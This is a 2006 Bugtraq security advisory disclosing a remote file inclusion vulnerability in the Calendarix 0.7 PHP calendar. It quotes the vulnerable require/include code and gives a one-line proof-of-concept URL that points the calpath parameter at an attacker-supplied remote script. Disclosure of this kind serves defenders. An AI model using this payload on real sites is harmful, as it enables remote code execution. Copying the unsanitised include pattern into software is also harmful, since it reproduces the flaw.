bugtraq - Calendarix <= 0.7 (calpath) Remote File Inclusion Vulnerability

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Date: 12 Aug 2006 09:59:20 -0000
From: sh3ll@...ll.ir
To: bugtraq@...urityfocus.com
Subject: Calendarix <= 0.7 (calpath) Remote File Inclusion Vulnerability

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Calendarix 0.7 calpath Remote File Inclusion
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Author   : Sh3ll
Date     : 2006/08/11
HomePage : http://www.sh3ll.ir
Contact  : sh3ll[at]sh3ll[dot]ir
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Affected Software Description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : Calendarix
version     : 0.7.20060401
Venedor     : http://www.calendarix.com
Class       : Remote File Inclusion
Risk        : High
Summary     : 
Calendarix Is a Powerful and Easy to Use Calendar Based on PHP and MySQL.
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Vulnerability:
~~~~~~~~~~~~~
in cal_config.inc.php We Found Vulnerability Script
--------------------------------------cal_config.inc.php-------------------------------
....
<?php
// Check file exist for admin call to this script
require $calpath."cal_db.inc.php";
...
$language = 'e';
# don't change next 3 lines !
require $calpath."cal_languages/".$language.".inc.php"; 
require $calpath."cal_languages/".$language.".months.php"; 
require $calpath."cal_languages/".$language.".week.php";
...
include $calpath."themes/".$theme.".color.php" ;
?>
...
---------------------------------------------------------------------------------------
PoC:
~~~
http://www.target.com/[Calendarix]/cal_config.inc.php?calpath=[Evil Script]

Solution:
~~~~~~~~
Sanitize Variabel $calpath in cal_config.inc.php
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Note:
~~~~
Venedor Contacted, But No Response. So Do a Dirty Patch.
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Shoutz:
~~~~~~
~ Special Greetz To My Best Friend N4sh3n4s & My GF Atena
~ To All My Friends in Xmors - Aria - Hackerz & Other Iranian Cyber Teams